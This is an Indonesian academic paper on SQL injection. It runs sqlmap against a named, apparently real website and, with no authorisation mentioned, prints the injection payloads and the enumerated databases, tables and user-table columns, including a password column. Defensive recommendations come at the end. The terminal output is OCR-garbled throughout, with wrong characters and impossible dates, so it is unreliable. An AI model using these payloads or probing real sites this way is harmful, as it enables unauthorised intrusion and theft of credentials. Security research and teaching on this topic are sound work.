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Abstrak: Keamanan teknologi informasi menjadi sangat krusial di era sekarang. Hal ini bertujuan untuk memastikan
bahwa semua informasi yang dikirim atau disimpan melalui internet tetap aman dan tidak dapat diakses secara
sembarangan oleh pihak-pihak yang tidak berwenang. Selama beberapa tahun terakhir, kasus cyber attack yang targetnya
keamanan website selalu meningkat. Salah satu ancaman peretasan website yang sering digunakan adalah SQL Injection.
Dengan menggunakan alat SQLmap yang berjalan pada sistem operasi Kali Linux, penyerang dapat dengan mudah
mengambil alih data autentikasi penting, seperti username dan password. Penyerang hanya perlu menggunakan skrip query
SQL khusus yang ditulis dalam bahasa pemrograman Python untuk memaksa server web mengeluarkan informasi dari
database, termasuk tabel, kolom, dan isi data. Teknik SQL Injection ini tidak sulit dilakukan, sehingga pemahaman tentang
cara kerjanya sangat berguna bagi para admin dan pengembang aplikasi web untuk mengamankan akses pengguna dari
serangan. Pengujian ini memungkinkan kita memahami proses serangan dan dampak yang ditimbulkan oleh serangan
tersebut.
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Abstract: Information technology security is very crucial in today’s era. This aims to
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website hacking threats is SQL Injection. By using the SQLmap tool running on the Kali
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Pendahuluan

Perkembangan teknologi informasi semakin pesat seiring dengan meningkatnya
kebutuhan akan teknologi dan jaringan komputer (Faizi et al., 2018). Keamanan teknologi
informasi menjadi sangat krusial di era sekarang (Dwiyatno et al., 2019). Hal ini bertujuan
untuk memastikan bahwa semua informasi yang dikirim atau disimpan melalui internet
tetap aman dan tidak dapat diakses secara sembarangan oleh pihak-pihak yang tidak
berwenang (Aji et al, 2017). Oleh karena itu, penting untuk terus memantau dan
meningkatkan kualitas keamanan jaringan, situs web, server, dan database secara rutin.
Seiring dengan semakin meluasnya pengetahuan tentang hacking dan banyaknya alat
penetrasi yang dapat diakses di internet, para penyusup dan penyerang menjadi semakin
mudah dalam melakukan aksi penyusupan dan penyerangan (Hermawan, 2021).

Web server adalah komponen internet yang paling sering dan rentan menjadi target
serangan (Puspa Ira Dewi Candra Wulan et al., 2023). Web server merupakan fondasi dari
world wide web. Fungsinya untuk memudahkan transfer data melalui Hyper Text Transfer
Protocol (HTTP), yang kemudian dilihat oleh pengguna menggunakan web browser dan
ditampilkan di dashboard website. Secara umum, PHP/HTML digunakan untuk membuat
dokumentasi situs web. (Hermawan, 2021).

Dengan semakin meluasnya penggunaan situs web, dampak dari tindakan kriminal
terhadap situs web juga semakin berkembang, termasuk pencurian serta manipulasi data
oleh pihak yang tidak bertanggung jawab. Serangan web server umumnya merupakan
langkah awal sebelum melanjutkan ke tahap serangan berikutnya (Yuhefizar & Hidayat
2009). Keamanan dalam teknologi informasi sangat penting bagi sebuah lembaga untuk
menjamin kerahasiaan, integritas, dan ketersediaan informasi (Aurabillah et al., 2024).

Salah satu cara yang dilakukan untuk melakukan kejahatan website yaitu serangan
SQL Injection (Erriyanto & Eviyanti, 2022). Sebagian besar aplikasi modern menggunakan
basis data yang persisten untuk meneruskan informasi. Serangan injeksi terjadi ketika
seseorang dengan sengaja mengirim perintah SQL berbahaya ke server database melalui
saluran yang illegal (Khin SHAR et al., 2012; Singh et al., 2015; Halfond & Orso, 2007).
Saluran yang paling umum digunakan untuk serangan ini adalah input data yang tidak
divalidasi (Singh et al., 2015). SQL Injection adalah kerentanan yang terjadi karena input
pengguna tidak divalidasi dengan baik, dan ini adalah salah satu metode serangan yang
umumnya digunakan dalam aplikasi web (Mahapatra, 2012; Khin SHAR et al., 2012;
Pandurang & Karia, 2015).

SQL Injection merupakan metode penyerangan yang menargetkan server web dengan
memanfaatkan kode SQL untuk memanipulasi database (Tanang Anugrah et al., 2022).
Serangan ini dapat merugikan banyak pihak karena memungkinkan penyerang untuk
mencuri atau mengubah data yang tersimpan di web server (Madani, 2024). Injeksi SQL
memungkinkan penyerang memasukkan perintah SQL berbahaya, sehingga bisa
memanipulasi logika perintah SQL untuk mendapatkan akses ke database dan informasi
penting lainnya (Dahlan et al., 2014). Penyerang dapat memengaruhi sintaks SQL, kekuatan,
dan fleksibilitas database, serta mempengaruhi sistem operasi yang mendukung database
tersebut (Anggoro & Sulistyo, 2019).
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Penelitian yang dilakukan oleh Sudiharyanto Lika pada (2018) menemukan bahwa
banyak situs web yang masih kurang dalam hal validasi dan keamanan terhadap serangan
SQL Injection. Akibatnya, hacker dapat dengan mudah menyusupi situs-situs tersebut. Salah
satu alat yang cukup efektif untuk menembus keamanan situs web adalah SQLmap dari Kali
Linux (Lika et al., 2018).

Penelitian kedua pernah dilakukan oleh Wijaya (2020), berdasarkan penelitian
tersebut, menyatakan bahwa kriptografi AES-128 dapat digunakan untuk mengamankan
URL website. Kriptografi AES-128 akan menyembunyikan URL, sehingga mampu
menangkal serangan yang berpotensi membahayakan keamanan data pada sebuah situs
web. Integritas dari URL yang telah dienkripsi akan lebih terjaga, karena metode SQL
Injection tidak dapat diterapkan pada URL yang telah dilakukan enkripsi (Wijaya, 2020).

Penelitian berikutnya yang dilakukan oleh Setiawan, et al. (2022) menemukan bahwa
situs web yang dilindungi oleh WAF (Web Application Firewall) cenderung lebih aman
terhadap serangan SQL Injection. WAF (Web Application Firewall) mampu memblokir upaya
serangan SQL Injection pada situs web tersebut (Setiawan et al., 2022).

Untuk meningkatkan rasa aman pengguna website dan mencegah kejadian yang tidak
diinginkan, penting untuk melakukan pengujian awal. Salah satu caranya adalah dengan
pengujian penetrasi melalui serangan SQL Injection. Tujuannya adalah untuk
mengidentifikasi kerentanan dalam database situs web target, yang kemudian dapat
digunakan sebagai bahan evaluasi. Dengan demikian, website dapat diperbaiki dan
dilindungi dari aksi kejahatan siber oleh pihak yang tidak bertanggung jawab.

Metode

Metode penelitian menggunakan metode kualitatif yang merupakan penelitian yang
mendeskripsikan sesuatu berdasarkan permasalahan yang akan diteliti. Tahapan-tahapan
yang akan dilakukan dalam penelitian ini adalah sebagai berikut:

Observasi

Metode Kualitatif
pengumpulan data

[

Studi literatur

Mcl:dt N NSIT o  Collection
pengembangan

Examination

i

Analysis

Rekomendasi
kebijakan keamanan

Gambar 1. Metode penelitian
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Gambar 1. Menjelaskan metode yang digunakan baik untuk pengumpulan data dan
metode pengembangannya menggunakan metode National Institute of standards and
Technology.

a. Dimana tahapan terdiri dari pengumpulan data menggunakan metode kualitatif:
1. Observasi
Melakukan observasi langsung terhadap keamanan database website dengan fokus
pada celah yang dapat dieksploitasi melalui serangan SQL Injection. Observasi ini
bertujuan untuk memberikan informasi rinci tentang metode serangan serta
kebutuhan spesifik yang diperlukan untuk mengatasi kerentanannya. Melakukan
studi literatur untuk menggali informasi terbaru tentang teknik penetrasi, alat, dan
langkah-langkah keamanan yang penting untuk melindungi database website dari
serangan SQL Injection, serta contoh penerapan keamanan yang dapat menjadi
referensi bagi pengembang web dan admin database.
2. Studi Literatur
Data yang diperlukan untuk penelitian ini diperoleh melalui studi literatur untuk
memahami secara mendalam terkait SQL Injection, teknik penetrasi, dan keamanan
database. Studi literatur dilakukan dengan mengumpulkan informasi dari sumber-
sumber teks yang relevan, seperti jurnal ilmiah, buku, artikel, dan sumber online yang
terpercaya. Pendekatan ini digunakan untuk mendapatkan pemahaman yang
mendalam tentang konsep SQL Injection. Hal ini akan memberikan landasan teori yang
kuat dan pemahaman mendalam tentang subjek penelitian.
b. Pengujian: pengujian yang dilakukan melakukan uji penetrasi terhadap celah keamanan
database website menggunakan serangan SQL Injection.
c. Analisa: melakukan analisa dampak dari serangan SQL Injection.
d. Reporting: pembuatan laporan akhir dari penelitian.

Hasil dan Pembahasan

(base) rangga@Ranggas-MacBook-Pro ~ % sqlmap -u "https://www.lghk.com/product.php?id=1428pid=4%27"

I 1.8.5#stable

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and fede
ral laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:08:06 /2024-05-30/

r 10 ] it appears that you have provided tainted parameter values (' ') with most likely leftover chars/statements from manual SQL injection test(s). Please, alwa
ys use only valid parameter values so sqlmap could be able to run properly
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y
r 1 [INFO] resuming back-end DBMS
[ ] [INFO] testing connection to the target URL
[ 1 ] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=142 AND 8643=8643&pid=4

Type: error-based

Title: MySQL >= 5.0 AND error-based — WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: id=142 AND (SELECT 3225 FROM(SELECT COUNT(x),CONCAT(@x7178717171, (SELECT (ELT(3225=3225,1))),0x7178706271, FLOOR(RAND(@)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)
a)&pid=4'

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=142 AND (SELECT 3006 FROM (SELECT(SLEEP(5)))FTzA)&pid=4'

Type: UNION query

Title: Generic UNION query (NULL) - 17 columns

Payload: id=142 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL,NULL, NULL, NULL, NULL, CONCAT (8x7178717171, 8x5265756c777543704b6163707178764277656d4161794a7
67174757968796865774b416e45556968, 8x7178706271) ,NULL-— ~&pid=4

[ ] [INFO] the back-end DBMS is MySQL

web application technology: Nginx, PHP 7.4.33
back-end DBMS: MySQL >= 5.0 ( fork)
[ ] [INFO] fetched data logged to text files under '

[*] ending @ 14:08:11 /2024-85-30/

(base) rangga@Ranggas-MacBook-Pro ~ % I

Gambar 2. Memindai URL website
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Pada Gambar 2 di atas, proses tersebut akan memindai URL website untuk mencari
kerentanan SQL Injection. Hasilnya akan menunjukkan informasi tentang jenis kerentanan,
parameter yang rentan, dan teknik eksploitasi yang digunakan.

I 1.8.5#stable
] d |

[1] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and fede
ral laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:08:44 /2024-05-30/

[14:08:45] [W 5] it appears that you have provided tainted parameter values (' ') with most likely leftover chars/statements from manual SQL injection test(s). Please, alwa
ys use only valid parameter values so sqlmap could be able to run properly
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y

[14:08:47] [INFO] resuming back-end DBMS '
[14:0 1 [INFO] testing connection to the target URL
[ L 1t ] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests

sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=142 AND 8643=8643&pid=4

Type: error-based
Title: MySQL >= 5.8 AND error-based — WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=142 AND (SELECT 3225 FROM(SELECT COUNT(x),CONCAT(@x7178717171, (SELECT (ELT(3225=3225,1))),0x7178706271, FLOOR(RAND(®)%2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)

a)&pid=4"'

Type: time-based blind
Title: MySQL >= 5.8.12 AND time-based blind (query SLEEP)
Payload: id=142 AND (SELECT 3006 FROM (SELECT(SLEEP(5)))FTzA)&pid=4

Type: UNION query
Title: Generic UNION query (NULL) - 17 columns
Payload: id=142 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL, CONCAT (8x7178717171, 8x5265756c777543704b6163707178764277656d4161794a7
67174757968796865774b4f6e45556968, 0x7178706271) ,NULL-- -&pid=4
[ 28:47] [INFO) the back-end DBMS is MySQL
web application technology: PHP 7.4.33, Nginx
back-end DBMS: MySQL >= 5.0 ( fork)
[ ] INFO] fetching database names
] reflective value(s) found and filtering out

] the SQL query provided does not return any output

[
[
[

t IN
avai tabases [2]:
[*] information_schema

[*] leach

[14:08:49] [INFO] fetched data logged to text files under
[*] ending @ 14:08:49 /2024-05-30/

(base) rangga@Ranggas-MacBook-Pro ~ % I

Gambar 3. Mendeteksi jenis DBMS yang digunakan

Pada Gambar 3 di atas, proses tersebut akan mendeteksi jenis DBMS yang digunakan
oleh situs web. Informasi ini penting untuk memilih teknik eksploitasi yang tepat.

Title: Generic UNION query (NULL) - 17 columns
Payload: id=142 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL, CONCAT (8x7178717171, 8x5265756¢777543704b6163707178764277656d46161794a7
67174757968796865774b4F6e45556968, 0x7178706271) ,NULL~- ~&pid=4
[14:09:16] [INFO] the back-end DBMS is MysQL
web application technology: Nginx, PHP 7.4.33
back-end DBMS: MySQL >= 5.8 ( fork)
1 :16] [INFO) fetching tables for database: ' g
iG] reflective value(s) found and filtering out
1 the SQL query provided does not return any output
resumed: ' »

[14:@ resumed:
Database: leach

[18 tables]

| album
| album_cate
| attachment

| banner

| calendar

| calendar_cate

| calendar_desc

| calendar_pdf

| download

| download_cate

| enquiry

| enquiry_20231026

| news

| news_cate

| usr

| verse

| webpage_content

| webpage_content_desc
+

s 19:19] [INFO] fetched data logged to text files under
[*] ending @ 14:09:19 /2024-05-30/

(base) rangga@Ranggas-MacBook-Pro ~ % I

Gambar 4. Menampilkan daftar tabel pada database
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Pada Gambear 4 di atas, proses tersebut akan menampilkan daftar tabel yang ada pada

database. Teknik eksploitasi "leach" digunakan untuk mendapatkan informasi ini.

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=142 AND (SELECT 3225 FROM(SELECT COUNT(x),CONCAT(@x7178717171, (SELECT (ELT(3225=3225,1))),0x7178706271, FLOOR(RAND(@)%2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)
a)apid=4*

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=142 AND (SELECT 30@6 FROM (SELECT(SLEEP(5)))FTzA)&pid=4'

Type: UNION query

Title: Generic UNION query (NULL) - 17 columns

Payload: id=142 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL,NULL,NULL, NULL, NULL, NULL, CONCAT (@x7178717171, 8x5265756¢777543784b61637@7178764277656d4161794a7
67174757968796865774b4F6e45556968, 0x7178706271)  NULL-— —&pid=4"

[14: ] [INFO] the back-end DBMS is MysQL

web application technology: Nginx, PHP 7.4.33

back-end DBMS: MySQL >= 5.8 ( fork)

[1 1] [INFO] fetching columns for table ' - ' in database '

[14:0 110 ] reflective value(s) found and filtering out
[14:09:53] [ ] the SQL query provided does not return any output
Database: leach

Table: usr

[24 columns]

| column | Type |
| usr_crt_dt | timestamp |
| usr_crt_ip | varchar(32) |
| usr_crt_usr_id | int(11) |
| usr_email | varchar(2ee) |
usr_fixed | enum(*it, i) |
usr_id | int(11) |
usr_last_login_dt | datetime |
usr_last_login_ip | varchar(32) |
| usr_login_fail_c¢t | int(11) |
| usr_login_fail_dt | datetime |
usr_login_fail_ip | varchar(32) |
usr_login_name | varchar(32) |
usr_1v | int(11) |
usr_mod_dt | datetime |
| usr_mod_ip | varchar(32) |
| usr_mod_usr_id | int(11) |
usr_name | varchar(3z) |
usT_pwd | varchar(48) |
usr_pwd_mod_dt | decimal(1e,8) |
usr_pwd_mod_ip | varchar(32) |
usr_pwd_mod_usr_id | int(11) |
usr_sort_id | int(11) |
usr_sort_lv | int(11) |
usr_st | varchar(4) |

[14: 1 [INFO] fetched data logged to text files under '
[*] ending @ 14:09:53 /2024-05-30/

(base) rangga@Ranggas-MacBook-Pro ~ % [

Gambar 5. Menampilkan daftar kolom pada tabel "usr"

Pada Gambar 5 di atas, proses tersebut akan menampilkan daftar kolom pada tabel

"usr". Teknik eksploitasi "leach" digunakan untuk mendapatkan informasi ini.

Dari hasil simulasi yang sudah dilakukan, maka dapat diketahui bahwa kerentanan

SQL Injection pada situs web lghk.com terjadi karena aplikasi web tidak memvalidasi dan
memfilter input pengguna dengan benar. Hal ini memungkinkan penyerang untuk
menyisipkan kode SQL berbahaya ke dalam parameter URL. Kode SQL berbahaya ini
kemudian dieksekusi oleh database, sehingga penyerang dapat melakukan berbagai
tindakan berbahaya. Oleh karena itu, penting untuk menerapkan solusi pencegahan dan
penanggulangan yang efektif untuk meminimalkan dampak serangan SQL Injection pada
sistem dan layanan yang terdampak. Berikut adalah beberapa solusi pencegahan dan

penanggulangan efektif terhadap serangan SQL Injection:
a. Pencegahan

1. Validasi Input Pengguna: Selalu validasi semua input pengguna dengan cermat

sebelum digunakan dalam guery SQL. Gunakan teknik validasi yang sesuai dengan
jenis data input, seperti pemfilteran karakter khusus, pembatasan panjang input, dan
konversi tipe data.

. Batasi Hak Akses Database: Berikan hak akses database hanya kepada pengguna yang
membutuhkannya. Hindari memberikan hak akses penuh kepada pengguna yang
tidak membutuhkannya.
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Gunakan Web Application Firewall (WAF): WAF dapat membantu melindungi website
dan aplikasi web dari berbagai serangan, termasuk SQL Injection. Gunakan WAF yang
terkelola dan selalu diperbarui dengan aturan terbaru.

Lakukan Pemindaian Keamanan Berkala: Lakukan pemindaian keamanan website dan
aplikasi web secara berkala untuk mendeteksi kerentanan yang dapat dieksploitasi
oleh penyerang SQL Injection. Gunakan alat pemindaian keamanan yang terpercaya
dan perbaiki semua kerentanan yang ditemukan.

Meningkatkan Kesadaran Keamanan: Edukasi tim pengembang dan staf IT tentang
bahaya SQL Injection dan cara mencegahnya. Adakan pelatihan keamanan secara
berkala untuk memastikan semua orang mengetahui praktik terbaik keamanan web.

b. Penanggulangan

1.

Deteksi Dini: Implementasikan sistem deteksi intrusi (IDS) untuk mendeteksi aktivitas
mencurigakan yang mungkin mengindikasikan serangan SQL Injection. Gunakan alat
pemantauan database untuk melacak aktivitas database dan mendeteksi anomali yang
mungkin mengindikasikan serangan SQL Injection.

Isolasi Sistem: Jika serangan SQL Injection terdeteksi, segera isolasi sistem yang
terdampak untuk mencegah penyebaran serangan. Hentikan semua akses ke sistem
yang terdampak dan hanya izinkan akses bagi personel yang berwenang untuk
melakukan investigasi dan pemulihan.

Pemulihan Data: Jika data telah dicuri atau diubah akibat serangan SQL Injection,
lakukan pemulihan data dari cadangan yang terbaru. Pastikan cadangan data Anda
dibuat secara berkala dan disimpan di tempat yang aman.

Analisis dan Investigasi: Lakukan analisis dan investigasi menyeluruh untuk
memahami bagaimana serangan SQL Injection terjadi dan apa yang dapat dilakukan
untuk mencegahnya di masa depan. Dokumentasikan temuan Anda dan buat rencana
tindakan untuk memperbaiki kerentanan yang ditemukan.

Laporkan Insiden: Laporkan insiden SQL Injection kepada pihak yang berwenang,
seperti otoritas keamanan siber atau vendor perangkat lunak yang digunakan.
Laporan ini dapat membantu meningkatkan pemahaman tentang ancaman SQL
Injection dan mengembangkan solusi pencegahan yang lebih efektif.

Simpulan

Penelitian ini berhasil mengidentifikasi dan mengeksploitasi berbagai celah keamanan

menggunakan alat SQLmap pada sistem operasi Kali Linux, yang mengungkapkan bahwa
banyak website masih rentan terhadap jenis serangan ini. Temuan utama mencakup
keberhasilan dalam memperoleh data autentikasi penting, struktur tabel, kolom, dan isi
data dari database target. Penelitian ini menunjukkan bahwa teknik SQL Injection dapat
dilakukan dengan relatif mudah dan efektif, menyoroti perlunya peningkatan langkah-
langkah keamanan oleh admin dan pengembang web.

Kelebihan dari penelitian ini adalah penggunaan simulasi serangan yang realistis dan

pengumpulan data yang komprehensif, yang memberikan gambaran mendalam tentang
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proses dan dampak serangan SQL Injection. Namun, penelitian ini juga memiliki beberapa
kekurangan, seperti keterbatasan dalam cakupan jenis serangan yang diuji dan lingkungan
pengujian yang mungkin tidak sepenuhnya merefleksikan kondisi dunia nyata. Selain itu,
penelitian ini tidak menguiji efektivitas berbagai teknik mitigasi yang bisa digunakan untuk
mencegah serangan SQL Injection.

Untuk pengembangan penelitian di masa mendatang, perlu dilakukan uji penetrasi
terhadap beragam jenis website dan sistem manajemen database yang berbeda untuk
memperoleh gambaran yang lebih luas tentang kerentanannya. Selain itu, penelitian ini
juga bisa diperluas dengan menguji berbagai teknik mitigasi dan rekomendasi praktis
untuk memperkuat keamanan database terhadap serangan SQL Injection. Mengintegrasikan
analisis risiko dan dampak ekonomi dari serangan ini juga akan memberikan wawasan
yang lebih komprehensif bagi pengambil keputusan dalam bidang keamanan siber.
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